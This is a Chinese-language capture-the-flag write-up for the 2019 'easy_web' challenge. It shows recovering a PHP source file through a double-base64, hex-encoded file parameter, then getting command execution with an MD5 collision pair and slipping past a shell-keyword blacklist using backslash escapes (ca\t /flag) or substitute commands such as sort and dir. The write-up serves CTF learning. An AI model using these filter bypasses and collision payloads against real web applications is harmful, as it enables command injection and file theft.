[安洵杯 2019]easy_web
- 2022 年 2 月 12 日
- 筆記
題目打開如下，?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=，同時查看源程式碼
這裡有個MD5 is funny，說明這個題目大概率跟MD5有關
然後我抓包了一下，消息頭裡面沒有什麼特殊的東西，於是我嘗試從url入手
首先把那個進行一次base64位解碼
解碼一次以後還是很像base64編碼，於是又解碼一次
然後用hex解碼一下得到了
555.png
用同樣的方法把index.php進行加密
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
然後輸入到地址欄
然後查看源程式碼，把源程式碼裡面的那一串base64的編碼解碼
<?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8'); $cmd = $_GET['cmd']; if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='); $file = hex2bin(base64_decode(base64_decode($_GET['img']))); $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); if (preg_match("/flag/i", $file)) { echo '<img src ="./ctf3.jpeg">'; die("xixi～ no flag"); } else { $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>"; echo "<br>"; } echo $cmd; echo "<br>"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "<br>"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?> <html> <style> body{ background:url(./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color:#CCCCCC; } </style> <body> </body> </html>
結合前面的推斷，關鍵程式碼就在
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); }
這種MD5是md5強碰撞
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
只需要這樣就可以把cmd裡面的當成命令來處理。
於是採用payload:
因為’\’並沒有被屏蔽所以可以這麼繞過
ls和l\s在命令執行的時候結果是一樣的。
然後發現根目錄裡面有/flag
於是payload:
?cmd=ca\t%20/flag
對於這個題目，因為他沒有屏蔽sort和dir
所以查看也可以用dir來代替ls，cat可以用sort來代替。
